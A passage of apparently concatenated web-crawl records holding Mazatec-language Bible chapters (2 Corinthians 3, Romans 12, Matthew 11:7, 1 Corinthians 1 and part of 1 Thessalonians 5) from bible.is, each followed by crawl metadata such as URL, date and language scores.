Jñò, ¿a k'oa̱á s'ín nìkítsjeèn nga mìkiì tjí'nde‑na nga ma sìxá tsà tsjìn‑na xo̱jo̱n xi jñò k'oi̱‑ná, o xi kj'ei̱í xi̱ta̱ tsjá‑na koni s'ín síjé xi̱ta̱ xi kj'ei̱í? 2Majìn, jñò sobà‑nò xi xo̱jo̱n‑naje̱n ma xi tíjiìn i̱jiìn ini̱ma̱‑naje̱n. Ngats'iì xi̱ta̱ beè‑né koa̱ bíxke̱jiìn‑né. 3K'oa̱á s'ín ndaà 'ya‑je̱n nga jñò‑nò xi koni xo̱jo̱n‑la̱ Cristo xi i̱t'aà tsa̱je̱n kitjei. Jngoò xo̱jo̱n carta xi mìtsà tinta kitjei‑ne; ko̱ó Ini̱ma̱ Tsjeè‑la̱ Nainá xi tíjnakon kitjei‑ne; mìtsà nda̱jo̱ kitjeit'aà; ya̱á kitjeit'aà yijo ini̱ma̱‑la̱ xi̱ta̱. 4Kjoa̱ koi, k'oa̱á s'ín makixi̱ya nga i̱t'aà ts'e̱ Cristo mokjeiín‑naje̱n i̱t'aà ts'e̱ Nainá. 5Xi ta nga'ñó tsa̱je̱n tsjìn‑naje̱n kjo̱hítsjeèn mé xi s'e̱n‑je̱n. Ta̱nga jè Nainá tsjá‑naje̱n kjo̱hítsjeèn k'e̱ nga mé xi 'nè‑je̱n. 6Jè Nainá tsjá‑naje̱n kjo̱hítsjeèn nga chi̱'nda‑la̱ ma‑je̱n mé‑ne nga ko̱ma ki̱nókjoa̱ya‑naje̱n i̱t'aà ts'e̱ kjo̱ndaà xi̱tse̱ xi Nainá tsibíndaàjiìn‑ko̱ jñà xi̱ta̱. Mìtsà kjoa̱ ts'e̱ kjo̱tíxoma xi xo̱jo̱n tjít'aà, ts'e̱é Ini̱ma̱ Tsjeè‑la̱ Nainá. Jè kjoa̱ xi ts'e̱ kjo̱tíxoma sík'en‑ná nga nguixko̱n Nainá, ta̱nga jè Ini̱ma̱ Tsjeè‑la̱ Nainá síkíjnakon‑ná. 7Jè kjo̱tíxoma xi kitjoé‑la̱ Moisés xi nda̱jo̱ kitjeit'aà, kjoa̱ biyaà j'iìko̱. Ta̱nga k'e̱ nga sa̱ kitjoé ítjòn‑la̱ kjo̱tíxoma jè, k'oa̱á s'ín ki'ya‑la̱ kjoa̱ jeya‑la̱ Nainá. Jè Moisés, k'e̱ nga j'iì‑ne nga kiì mijìn‑jno nindoò, jñà xi̱ta̱ Israel mìkiì komà kiskoò'an Moisés nga 'ñó ote ni'ín kji i̱sén‑la̱; ta̱nga xi komà i̱skan, chaán kichijà xi ote kji i̱sén‑la̱. Tsà k'oa̱á s'ín kis'e‑la̱ kjoa̱jeya, jè kjoa̱ xi tjínè‑la̱ nga chi̱ja, 8ìsa̱ jeya tjín kjo̱ndaà xi̱tse̱ xi tsjá‑ná Nainá k'e̱ nga tsjá‑ná Ini̱ma̱ Tsjeè‑la̱. 9Nga jeya j'iì jè kjo̱tíxoma xi kjoa̱ biyaà tsibínè‑ná, ìsa̱á 'ñó jeya ki̱tasòn 'én xi nokjoàya‑je̱n nga xi̱ta̱ kixi̱ síkítsa̱jna‑ná Nainá. 10Na̱s'ín 'ñó kis'e‑la̱ kjoa̱ jeya jè kjo̱tíxoma xi jye tsato, ta̱nga mìkiì mangásòn‑ko̱ jè kjoa̱jeya xi tjín‑la̱ kjo̱ndaà xi̱tse̱; ìsa̱á 'ñó jeya tíjna. 11Tsà jè kjoa̱ xi tíchijangui kis'e‑la̱ kjoa̱ jeya, ìsa̱á jeya tjín kjoa̱ xi̱tse̱ xi mì ti̱ kiì chi̱ja‑ne ni̱ta̱ kjé‑ne. 12Nga tíjngoò takòn‑je̱n nga titsa̱chiñá‑la̱je̱n kjoa̱ koi, k'oa̱á ma‑ne nga mìkiì masobà‑naje̱n nga nokjoá‑je̱n. 13Mìtsà k'oa̱s'ín 'nè‑je̱n koni kis'iìn Moisés nga nikje tsibíjtsa i̱sén‑la̱, mé‑ne nga jñà xi̱ta̱ Israel mìkiì komà kiskoò'an‑ne nga jye tíchijangui xi ote kji i̱sén‑la̱. 14Ta̱nga jñà xi̱ta̱ Israel kjòtájaàjiìn kjo̱hítsjeèn‑la̱. Skanda na̱chrjein i̱'ndei̱, k'e̱ nga bíxke̱jiìn Xo̱jo̱n‑la̱ Nainá xi tjít'aà kjoa̱ jchínga xi tsibíndaàjiìn‑ko̱ xi̱ta̱, tákó k'oa̱á s'ín ma‑la̱ koni tsà nikje xo̱ba̱ kijtsa kjo̱hítsjeèn‑la̱. Ta̱ jngoó i̱t'aà ts'e̱ Cristo ko̱ma tjáxìn nikje jè. 15Skanda na̱chrjein i̱'ndei̱, jñà xi̱ta̱ Israel, k'e̱ nga bíxke̱jiìn xo̱jo̱n xi kiskiì Moisés, tákó k'oa̱á s'ín ma‑la̱ koni tsà nikje xo̱ba̱ tíjtsa'ma kjo̱hítsjeèn‑la̱. 16Ta̱nga k'e̱ nga jngoò xi̱ta̱ síkjahatjìya‑la̱ kjo̱hítsjeèn‑la̱ nga fìt'aà‑la̱ Na̱'èn‑ná xi otíxoma‑ná, tjáxìn‑la̱ nikje xo̱ba̱ xi tíjtsa'ma kjo̱hítsjeèn‑la̱. 17Nga̱ jè Na̱'èn‑ná, jè sobà‑né xi Ini̱ma̱ Tsjeè‑la̱ Nainá. Ya̱ ñánda tíjna Ini̱ma̱‑la̱ Na̱'èn‑ná, jñà xi̱ta̱ títsa̱jnandei̱í‑né kjoa̱ ts'e̱ kjo̱tíxoma. 18Ngats'iaá jñá mì ti̱ nikje xo̱ba̱ tíjtsa'ma‑ne kjo̱hítsjeèn‑ná. I̱t'aà tsa̱ján k'oa̱á s'ín ngaya‑la̱ koni jngoò chi̱tsín xi ma chìtsejèn‑yá xi okó kjoa̱ jeya‑la̱ Na̱'èn‑ná. Kjit'aà na̱chrjein ìsa̱ jeya tíhotsejèn koni kji Na̱'èn‑ná nga jè Ini̱ma̱ Tsjeè‑la̱ tísíkjatjìya‑ná.\n2 Corintios 3","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/2Cor\/3","date":"2013-12-09T20:39:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163997905\/warc\/CC-MAIN-20131204133317-00058-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000042915,"language_script":"Latn","minhash_cluster_size":24,"top_langs":"{\"maa_Latn_score\": 1.0000042915344238}","num_words":493,"character_repetition_ratio":0.083,"word_repetition_ratio":0.0,"special_characters_ratio":0.221,"stopwords_ratio":0.288,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1K'oa̱á ma‑ne 'ndsè, nga tse kjo̱hi̱ma̱takòn tjín‑la̱ Nainá xi i̱t'aà tsa̱ján, 'a̱n bìtsi'bà‑nò nga k'oa̱s'ín ti̱nga̱tsja yijo‑nò i̱t'aà ts'e̱ Nainá koni jngoò kjo̱tjò xi tíjnakon, xi tsjeè tjín, xi ndaà sasén‑la̱ Nainá; nga nguì ko̱ ini̱ma̱‑nò ko̱ kjo̱hítsjeèn‑nò jeya si̱kíjna Nainá. 2Kì k'oa̱s'ín onguíko̱ yijo‑nò koni s'ín tjín kjo̱tíxoma‑la̱ i̱sò'nde. Ti̱xi̱tse̱ya kjo̱hítsjeèn‑nò nga kàtatjìya‑nò koni s'ín titsa̱nìjchá yijo‑nò mé‑ne nga jcha̱‑nò mé xi mejèn‑la̱ Nainá i̱t'aà tsa̱jòn, jñà kjoa̱ xi ndaà tjín, xi nguì tjíkixi̱, xi jè ndaà sasén‑la̱. 3I̱t'aà ts'e̱ xá xi 'a̱n kitjoé kjo̱tjò‑na, k'oa̱á xan‑nò nga jngoò ìjngoò, kì 'nga onguíko̱o kjo̱hítsjeèn‑nò koni s'ín tjínè‑la̱ nga si̱kítsjeèn; tà saà ndaà ti̱kítsjeèn koni s'ín ok'ìn‑la̱ kjo̱ndaà xi kitsjaà‑nò Nainá k'e̱ nga kòkjeiín‑nò i̱t'aà ts'e̱ Cristo. 4Koni s'ín tjín yijo‑ná nga kjìn sko̱ya tjín‑la̱ ta̱nga ka̱kj'ei̱í ka̱kj'ei̱í xá tjín‑la̱ nga ìjngoò ìjngoò sko̱ya. 5K'oa̱á s'ín ma i̱t'aà tsa̱ján nga kjìn ma‑ná, ta̱nga xi i̱t'aà ts'e̱ Cristo tà jngoò ma‑ná nga ìjngoò ìjngoá; k'oa̱á s'ín ki̱ndo̱ba̱'ñoá xinguia̱á koni s'ín kitsobà'ñó xíkjín yijo‑ná. 6Koni s'ín kjòmejèn‑la̱ Nainá jye kitsjaà‑ná xá xi s'e̱én nga jngoò ìjngoá. Jngoò xi̱ta̱, tsà jè xá kitjoé‑la̱ nga xi̱ta̱ ki̱chja̱yajiìn‑la̱, k'oa̱á s'ín kàtasíkjeén koni s'ín mokjeiín‑la̱. 7Tsà jè xá kitjoé‑la̱ nga xi̱ta̱ ko̱si̱ko̱, k'oa̱á s'ín kàtasíkjeén nga ndaà kàtasìko̱ xi̱ta̱. O xi jè xá kitjoé‑la̱ nga ko̱kòya, k'oa̱s'ín kàtasíkjeén nga ndaà kàtakóya. 8Jè xi kitjoé‑la̱ xá nga si̱ìjehikon xi̱ta̱, k'oa̱s'ín kàtas'ín. Jè xi ma‑la̱ sìka'bí tsojmì, nguì ko̱ó ini̱ma̱‑la̱ kàtasíka'bí; jè xi xá ítjòn kjònga̱tsja, ndaà kàtasíkitasòn; jè xi síchját'aà‑la̱ jñà xi̱ta̱ i̱ma̱, ko̱ó kjo̱tsja‑la̱ kàtasíchját'aà‑la̱. 9Nguì ko̱ó ini̱ma̱‑nó ti̱tsjacha xinguio̱o. Ti̱jticha kjoa̱ xi ch'o tjín. Koií tanguítji̱ngui‑là kjoa̱ xi ndaà tjín. 10Ko̱ó kjo̱tsja‑nò ti̱tsjacha xinguio̱o nga 'ndsè chiba. Ìsa̱ ndaà jcha̱xkón xi̱ta̱ xinguio̱o xi i'nga; jñà ti̱kítsa̱jna ítjòn nga jngoò ìjngoò. 11Kì ts'eè 'nè xi xá ts'e̱ Nainá. Nguì ko̱ó ini̱ma̱‑nò ti̱xá‑là Na̱'èn‑ná. 12Tsja te‑lá takòn jè kjoa̱ xi chiñà‑là. Ko̱ ini̱ma̱‑nò kàtachíkjoa̱ko̱‑nò kjo̱'in xi titsa̱nìkjioón. Na̱chrjein nchijòn tìtsi'ba‑là Nainá. 13Tjiì‑là mé xi mochjeén‑la̱ jñà xi̱ta̱ tsjeè‑la̱ Cristo. Chjoétjò xi̱ta̱ xi bijchó ya̱ ni'ya‑nò. 14Ti̱jét'aà‑la̱ Nainá nga kàtasíchikon‑t'in jñà xi̱ta̱ xi ch'o síko̱‑nò; kì k'oa̱á s'ín nìjét'aà‑là nga kjo̱'in tsjá‑la̱. 15Ti̱tsjako̱o jñà xi̱ta̱ xi tsja tjín‑la̱. Chìhindáyako̱o jñà xi nchikjindáya. 16Tà jngoò t'e̱en kjo̱hítsjeèn‑nò. Kì 'nga ikon 'nè yijo‑nò, ya̱ tsjahijtako̱o jñà xi̱ta̱ i̱ma̱. Kì 'ñó chji̱ne̱ nachrjenguioò yijo‑nò. 17Jñà xi̱ta̱ xi ch'o síko̱‑nò, kì ch'o nìko̱o ngajo‑nò. Kjit'aà na̱chrjein ndaà t'e̱en nga nguixko̱n ngats'iì xi̱ta̱. 18Skanda ñánda sakó'nde‑nò, jñò tjínè‑nò nga 'nchán titsa̱jnako̱o ngats'iì xi̱ta̱. 19Ndí 'ndsè xi matsjake̱‑nò, k'e̱ nga mé xi mat'ioòn, kì jñò 'nè ngajo‑nò. Tsja Nainá ti̱kíjnaya kjoa̱‑nò mé‑ne nga jè tsjá‑ne kjo̱'in. K'oa̱á s'ín tíchja̱ Xo̱jo̱n‑la̱ Nainá nga tsò: \"Tsò Na̱'èn‑ná: 'A̱án oko̱‑na nga kìndaàjiìn‑la̱ xi̱ta̱, 'a̱án tsja‑la̱ chjí‑la̱.\" 20K'oa̱á ma‑ne, tsà jè kondra̱‑lè, tsà tsjìn tsojmì xi kine, ji̱í tjiì‑la̱; tsà xíndá‑la̱, tjiì‑la̱ nandá nga kàt'iì. K'e̱ nga koa̱ si̱koi̱i, ko̱sobà tì'biì‑la̱ kondra̱‑lè, chi̱ba̱‑la̱ ko̱hinì i̱sén‑la̱ koni xá'í. 21Jè kjoa̱ xi ch'o tjín, kì jè síkijne‑nò; ti̱koa̱á‑ne jè kàtitasòn xi kjo̱ndaà, mé‑ne nga si̱kijne‑là kjoa̱ xi ch'o tjín.\nRomanos 12","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Rom\/12","date":"2013-12-12T12:16:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164582561\/warc\/CC-MAIN-20131204134302-00006-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000095367,"language_script":"Latn","minhash_cluster_size":27,"top_langs":"{\"maa_Latn_score\": 1.000009536743164}","num_words":490,"character_repetition_ratio":0.066,"word_repetition_ratio":0.0,"special_characters_ratio":0.232,"stopwords_ratio":0.304,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"7K'e̱ nga jye kiì‑ne xi̱ta̱ xi kota'yàt'aà‑la̱ Juan, tsibíts'ia̱ Jesús nga tsohóko̱ xi̱ta̱ xi i̱t'aà ts'e̱ Juan, kitsò‑la̱: ―¿Mé xi tsanguì chìtsejèn‑là ya̱ i̱'nde i̱t'aà xìn ñánda nangui kixì choòn? ¿A jè tsanguì chìtsejèn‑là jngoò xi̱ta̱ xi yá ína̱xo̱ kji nga tsjìn‑la̱ nga'ñó nga ma síjtìya‑la̱ tjo̱?\nSan Mateo 11:7\nOne App.\n844 Languages.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Matt\/11\/7","date":"2013-12-05T03:05:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163038799\/warc\/CC-MAIN-20131204131718-00065-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000001192,"language_script":"Latn","minhash_cluster_size":25,"top_langs":"{\"maa_Latn_score\": 1.0000001192092896}","num_words":52,"character_repetition_ratio":0.096,"word_repetition_ratio":0.0,"special_characters_ratio":0.254,"stopwords_ratio":0.269,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1'Koa̱á 'sín tísikásén‑no xa̱jo̱n ra̱kìi̱, 'a̱n ra 'mì‑na Pablo ra xá ko̱'sín inakjoá‑na nga 'a̱n tsikíxáya‑na Jesucristo, nga 'koa̱á 'sín kjomejèn‑la̱ Nainá. I̱nchinìhixo'tá‑laji̱n ko̱ jè 'ndsé Sóstenes, 2jiòn ra ti̱'koa̱ na̱xi̱ndá‑la̱ Cristo ma jiòn, ra ya̱ titsa̱jna ya̱ na̱xi̱ndá Corinto. Jiòn, a̱'ta 'tse̱ Cristo kisìtsje‑no Nainá, ko̱ xá jè ko̱'sín tsjahíjin‑no mé‑ni nga xi̱ta̱ tsje‑la̱ ko̱ma jiòn, koni 'sín isìko̱ nga'tsì xi̱ta̱ ra jeya síkíjna Jesucristo ra tíjna ítjòn‑ná, ni̱'sín ta ñánda̱‑ni nga tjíma. Jè Cristo tíjna ítjòn‑la̱ jñà xi̱ta̱ kìi̱, ko̱ jé‑te ra tíjna ítjòn‑ná ra jién. 3Nainá ra Na̱'ín‑ná ma ko̱ jè Jesucristo ra tíjna ítjòn‑ná katatsjá‑no kjo̱nda ko̱ kjo̱'nchán ya̱ a̱jin inìma̱‑no. 4Kji'tá ni̱chjin tsja‑la̱ kjo̱nda Nainá ra a̱'ta tsa̱jiòn‑jiòn, ta nga̱tjì‑la̱ jè kjo̱nda ra kitsjà‑no Nainá a̱'ta 'tse̱ Jesucristo nga nda isìchikon'tin‑no. 5Nga̱ ya̱á a̱'ta 'tse̱ Cristo nga tse kjo̱nda isakò‑la̱ inìma̱‑najiòn, koni 'sín nga nakjoá jiòn 'én‑la̱ Nainá ko̱ koni 'sín machi̱ya‑no kó'sín nga tsò‑ni, 6koni 'sín nga Nainá isikixi̱yajin ya̱ inìma̱‑no jè 'én nda‑la̱ Cristo ra ki'sena̱jmí‑no. 7'Koa̱á ma‑ni 'ndi̱, mì tsa ti̱ mé kjo̱tjò‑la̱ Nainá chija'ta‑najiòn nga ma si̱itjasòn xá‑la̱, 'kia̱ nga ko̱'sín i̱nchichiñá‑la nga kj'i̱í india‑ni jè Jesucristo ra tíjna ítjòn‑ná. 8Jé Nainá tsjá‑no nga'ñó skanda 'kia̱ nga kje̱he'tà ni̱chjin, mé‑ni nga ni̱jngo jé sa̱kò‑ni a̱'ta tsa̱jiòn 'kia̱ nga ki̱tjojen india‑ni jè Jesucristo ra tíjna ítjòn‑ná. 9Nainá, ngi xi̱ta̱ kixi̱‑ní, síhitjasón‑ní koni 'sín nga tsjá 'én‑la̱. Xá jè ko̱'sín kiìchja̱‑najiòn nga ya̱ ki̱tsa̱jnakjo‑ko̱o jiòn jè Jesucristo ra I'ndí‑la̱ ma, jè ra tíjna ítjòn‑ná. 10Ndí 'ndsé ko̱ ndí tichjeé, 'koa̱á 'sín tíbitsá'ba‑no ra a̱'ta 'tse̱ Jesucristo ra tíjna ítjòn‑ná, nga jngoó kjo̱bítsjen ti̱chjeén nga'tsì‑no; kì tà chjàn nijòya kjo̱bítsjen‑no; ta isa̱á 'ñó nda ti̱tsa̱jtín jnchro nga jngoó kjo̱bítsjen kata'se‑no, ko̱ ngásòn 'tè‑la takòn. 11Jiòn ndí 'ndsé, kií ko̱'sín tíxin‑no, nga̱ 'koa̱á 'sín tsi'kéna̱jmí‑na ra a̱'ta tsa̱jiòn‑jiòn jñà xi̱ta̱‑la̱ Cloé, nga kjoa̱chiti‑ró tjín‑najiòn. 12Kií ko̱'sín tíxin‑no, nga jngó jngó‑najiòn, tjín ra tsò: \"'A̱n, jé Pablo fì'ta‑la̱.\" Ko̱ tjín ra tsò: \"Jé Apolos fì'ta‑la̱ ra 'a̱n.\" Tjín ra tsò‑te: \"'A̱n, jé Cefas tífì'tà‑la̱.\" Ko̱ tjín ra tsò: \"Jé Cristo fì'ta‑la̱ ra 'a̱n.\" 13¿A 'koa̱á ma‑najiòn nga kjìn‑ya ma‑ni Cristo? ¿A jé Pablo ra isi'ta ngajo‑no krò? Ko̱, ¿a a̱'ta 'tse̱ 'í‑la̱á Pablo nga isatíndá‑najiòn? 14Tsjaá‑la̱ kjo̱nda Nainá, nga̱ mì tsa yá xi̱ta̱ tsa̱jiòn ra tsatíndáa̱ ra 'a̱n, ta jé‑ní Crispo ko̱ Gayo, 15mé‑ni nga ni̱jngo‑najiòn ra kixó: \"A̱'ta 'tse̱é Pablo isatíndá‑na ra 'a̱n.\" 16Tíbítsjen‑te‑na nga ti̱'koa̱á 'a̱án ítsatíndá‑te Estéfanas, ko̱ jñà xi̱ta̱ xákjién, tanga mì kì ti̱ bítsjen‑naa̱ tsa tjín‑isa xi̱ta̱ ra 'a̱n ítsatíndáa̱. 17Nga̱ mì tsa ko̱'sín tsikí'tin‑na Cristo nga xi̱ta̱ kotíndáa̱, jé‑ní ra tsikí'tin‑na nga jè kichjà 'én xi̱tse̱‑la̱ ra nda tsò. Ko̱ mì tsa jñà 'én ra 'ñó chji̱ne̱ ísichjée̱n ra tjín‑la̱ xi̱ta̱ i̱sà'nde mé‑ni nga mì kì tjáhixìn‑la̱ jè nga'ñó ra tjín‑la̱ 'kia̱ nga 'ken Jesús ya̱ a̱'ta krò. 18Jñà 'én ra 'sena̱jmíya ra a̱'ta 'tse̱ Cristo nga 'ken'ta krò, ta kjoa̱ská ma‑la̱ jñà xi̱ta̱ ra tjímaya ndi̱yá kjo̱biya. Tanga jién ra i̱nchibítjo̱kajieén kjo̱hi'in, 'koa̱á 'sín makjiín‑ná nga nga'ñó‑la̱ Nainá‑ní. 19'Koa̱á 'sín tíchja̱ 'én ra tjí'ta Xa̱jo̱n‑la̱ Nainá nga tsò: Jñà ra 'ñó tjín‑la̱ kjoa̱chji̱ne̱, 'a̱án ko̱'sín sikóo̱ nga katachija kjoa̱chji̱ne̱‑la̱. Ko̱ kochrjéngi‑náa̱ kjo̱bítsjen‑la̱ jñà ra 'ñó nda machi̱ya‑la̱. 20Jñà xi̱ta̱ ra 'ñó chji̱ne̱ tsò‑la̱ ijo‑la̱, jñà ra chji̱ne̱ xa̱jo̱n, ko̱ jñà ra ma‑la̱ jo̱óya‑ni kjoa̱ ra 'tse̱ i̱sà'nde ra̱kìi̱, ¿ñánda̱ kijí kjoa̱chji̱ne̱‑la̱ 'ndi̱‑ni̱? Jé Nainá ko̱'sín isìko̱ nga kjóskáya‑la̱ jñà kjoa̱chji̱ne̱‑la̱ xi̱ta̱ i̱sà'nde. 21Nainá 'ñó chji̱ne̱ ra jè; mì kì kitsjá'nde‑la̱ xi̱ta̱ nga a̱'ta 'tse̱ kjoa̱chji̱ne̱‑la̱ xi̱ta̱ i̱sà'nde kijtsexkon‑ni ra jè. Tanga 'koa̱á 'sín sasén‑la̱ nga bachrjekàjin kjo̱hi'in jñà xi̱ta̱ ra makjiín‑la̱ a̱'ta 'tse̱ 'én nda‑la̱ Cristo, jè 'én ra ta kjo̱ská ma‑la̱ jñà xi̱ta̱ i̱sà'nde. 22Jñà xi̱ta̱ judío, kjo̱xkón síjé nga ma ko̱kjiín‑la̱; ko̱ jñà ra mì tsa xi̱ta̱ judío, tà jé ra mejèn‑la̱ nga kji̱'nchré 'én ra kjoa̱chji̱ne̱ tji̱ko̱. 23Tanga ra ji̱n, jé 'bena̱jmíya‑ji̱n nga krò 'ken'ta jè Cristo ra xá inikasén‑ni. Tanga jñà xi̱ta̱ judío, ta kjoa̱'choó ma‑la̱ a̱'ta 'tse̱ jñà 'én kìi̱, ko̱ ta kjo̱ská ma‑la̱ jñà ra mì tsa xi̱ta̱ judío. 24Tanga jñà xi̱ta̱ ra xá Nainá tsjahíjin‑ni, ra xi̱ta̱ judío, ko̱ jñà ra mì tsa xi̱ta̱ judío, 'koa̱á 'sín makjiín‑la̱ nga jè Cristo, nga'ñó‑la̱ Nainá‑ní; ko̱ ti̱'koa̱á kjoa̱chji̱ne̱‑la̱ Nainá‑ní. 25Jè kjoa̱ 'tse̱ Nainá ra ta kjoa̱ská ma‑la̱ xi̱ta̱ i̱sà'nde, isa̱á ta 'ñó kjoa̱chji̱ne̱ jnchro‑ni koni nga'tsì jñà kjoa̱chji̱ne̱‑la̱ xi̱ta̱ i̱sà'nde. Jè kjoa̱ 'tse̱ Nainá ra tsò‑la̱ xi̱ta̱ nga tsìn‑la̱ nga'ñó, isa̱á ta 'ñó tjín jnchro‑la̱ nga'ñó koni jñà nga'ñó ra tjín‑la̱ xi̱ta̱ i̱sà'nde. 26Nda ti̱kítsjen ndí 'ndsé ko̱ ndí tichjeé, 'kia̱ nga jè Nainá xá kiìchja̱‑no, 'ñó chiba ma‑najiòn ra xi̱ta̱ chji̱ne̱ tsò‑no xi̱ta̱ i̱sà'nde, ko̱ ti̱'koa̱á 'ñó chiba ma‑no ra xi̱ta̱ ítjòn titsa̱hijyo, ko̱ ti̱'koa̱á 'ñó chiba ma‑najiòn ra ya̱ nakjoá‑no a̱'ta 'tse̱ xi̱ta̱ ítjòn. 27Tanga Nainá jñá tsjahíjin jñà xi̱ta̱ ra mì kì machi̱ya‑la̱ i̱ i̱sà'nde, mé‑ni nga ko̱sabà‑la̱ jñà xi̱ta̱ ra tjín‑la̱ kjo̱bítsjen. Ko̱ jñá tsjahíjin jñà ra tsò‑la̱ xi̱ta̱ i̱sà'nde nga mì ti̱ mé chjí‑la̱ mé‑ni nga ko̱sabà‑la̱ jñà ra xi̱ta̱ ítjòn. 28Jè Nainá jñá tsjahíjin ra i̱ma̱, ko̱ ra bitjongi, ra tsò‑la̱ xi̱ta̱ i̱sà'nde nga nìmé chjí‑la̱ mé‑ni nga ki̱tjongi‑ni jñà ra títsa̱jna ítjòn, 29mé‑ni nga ni̱yá ra ma 'nga si̱ìkíjna ijo‑la̱ ya̱ ngixko̱n Nainá. 30Nga̱ jè sabá Nainá isíkítsa̱jnakjoko̱‑ná Cristo; ti̱'koa̱á jé‑te ra ko̱ki'sìn nga a̱'ta 'tse̱ Cristo sakó‑ná jè kjoa̱chji̱ne̱, nga̱ jé Cristo ra xi̱ta̱ kixi̱ 'sín‑ná ya̱ ngixko̱n Nainá, ko̱ a̱'ta 'tse̱‑ní nga matsje jè inìma̱‑ná, ko̱ jé‑ní ra tsikíchjítjì jé ra tjín‑ná mé‑ni nga ma bìtsa̱jnandi̱í‑ná; 31mé‑ni nga ko̱'sín katama‑ni koni 'sín tíchja̱ Xa̱jo̱n‑la̱ Nainá ra tjí'ta 'én‑la̱ nga tsò: \"Jè ra jeya síkíjna ijo‑la̱, ta isa̱á jnchro jè Nainá jeya katasíkíjna.\"\n1 Corintios Array","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/1Cor\/","date":"2013-12-09T12:50:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163972679\/warc\/CC-MAIN-20131204133252-00009-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000095367,"language_script":"Latn","minhash_cluster_size":27,"top_langs":"{\"maa_Latn_score\": 1.000009536743164}","num_words":919,"character_repetition_ratio":0.088,"word_repetition_ratio":0.0,"special_characters_ratio":0.24,"stopwords_ratio":0.346,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Tanga jiòn ndí 'ndsé ko̱ ndí tichjeé, mì kì tsa machjeén tsa xa̱jo̱n kí'ta‑laji̱n, nga mé ni̱chjin kjòn‑ni ko̱ mé sá kjòn‑ni nga kj'i̱í jè Na̱'ín‑ná. 2Nga̱ ijyeé nda tjíjin‑najiòn, nga 'kia̱á kj'i̱í Na̱'ín‑ná 'kia̱ nga mì yá ra i̱nchikoñá‑la̱ koni 'sín nga 'kia̱ nga ta ndi̱to̱ón 'fiì jngo chijé 'kia̱ nga ni̱tje̱n. 3'Kia̱ nga ki̱tso̱ jñà xi̱ta̱: \"'Ñó tjín kjoa̱'nchán, ko̱ ni̱mé kjoa̱ ra tjín\", ta ndi̱to̱ón kji̱nchrabànè kjo̱xkón nga kje̱hesòn, koni 'sín ma jngo ndí chjo̱ón ra i'ndí tjíhi'ma‑la̱, nga ta ndi̱to̱ón mahajò i̱ndsi̱'ba̱. Ko̱ ni̱yá ra ma ko̱tojin kjo̱xkón kìi̱. 4Tanga jiòn ndí 'ndsé ko̱ ndí tichjeé, mì tsa kjoa̱ jñò titsa̱jnajion ra jiòn. 'Koa̱á ma‑ni, mì kì tjínè‑la̱ nga jè ni̱chjin 'tse̱ Na̱'ín‑ná ko̱'sín ta ndi̱to̱n kj'i̱í kanè‑najiòn koni 'sín 'fiì jngo chijé. 5Nga̱ nga'tsì‑najiòn, isen‑ní ñánda̱ nga titsa̱jna jiòn, ko̱ ni̱chjin‑ní. Mì tsa ni̱tje̱n‑jìn, ko̱ mì tsa a̱jin jñò‑jìn. 6'Koa̱á ma‑ni nga mì kì machjeén nga ko̱'sín tsjáfè jiòn koni jñà xi̱ta̱ ra i'ka. Machjeén‑ní nga ki̱tsa̱keén ra jién ko̱ nda 'se̱ ki'ta takén. 7Nga̱ jñà ra fafe, 'kia̱á ni̱tje̱n nga fafe; ko̱ jñà ra ma'chi̱, 'kia̱á ni̱tje̱n nga ma'chi̱. 8Tanga jién ra isen ñánda̱ nga titsa̱hijyeé, machjeén‑ní nga nda kata'se ki'ta takén, ko̱ jñà kjoa̱ makjiín‑ná ko̱ jè kjoa̱tsjacha ra tjín‑ná, 'koa̱á 'sín ya̱ katjajtsa inìma̱‑ná koni 'sín chíchàn nga bájtsa ya̱ a̱sòn inìma̱‑la̱ chrja̱ba̱ tája ra 'mì coraza. Tsa ko̱'sín ngi tjíjngo takén nga i̱nchichiñá‑lá jè ni̱chjin 'kia̱ nga kítjo̱kajieén kjo̱hi'in 'tse̱ jé‑ná, jè‑ní ra ko̱si̱ko̱‑ná koni 'sín nga basìko̱ casco ra bí'a sko̱ chíchàn. 9Nga̱ jè Nainá mì tsa ki xá jahíjin‑ná nga kjo̱hi'in tsjá‑ná; jé‑ní nga a̱'ta 'tse̱ Jesucristo ra tíjna ítjòn‑ná ko̱maá kítjo̱kajieén kjo̱hi'in a̱'ta 'tse̱ jé‑ná. 10Nga̱ jé Jesucristo 'ken ngajo‑ná mé‑ni nga ni̱'sín ijye 'keén, o̱ ra titsa̱kon‑ná 'kia̱ nga jè ra kj'i̱í india‑ni, ya̱á ki̱tsa̱jnake̱é. 11'Koa̱á ma‑ni, ko̱'sín ti̱jetakòn xàngio̱o nga jngó jngó‑no ko̱ nda 'ti̱ nga'ñó‑la koni 'sín nga ijye i̱nchi'nià. 12Jiòn ndí 'ndsé ko̱ ndí tichjeé, 'koa̱á 'sín bitsa'ba‑laji̱n nga ko̱'sín nda jcha̱xkón jiòn jñà ra ki xá tjín‑la̱ nga i̱jncha ítjòn‑no ya̱ a̱jin na̱xi̱ndá‑la̱ Nainá, ra tje̱n bíyachi̱ya‑no ñáa̱ kjoa̱ ra 'cho tjín. 13Nda jcha̱xkón jiòn ti̱'koa̱ 'ñó tsjacha 'tia̱àn jñà 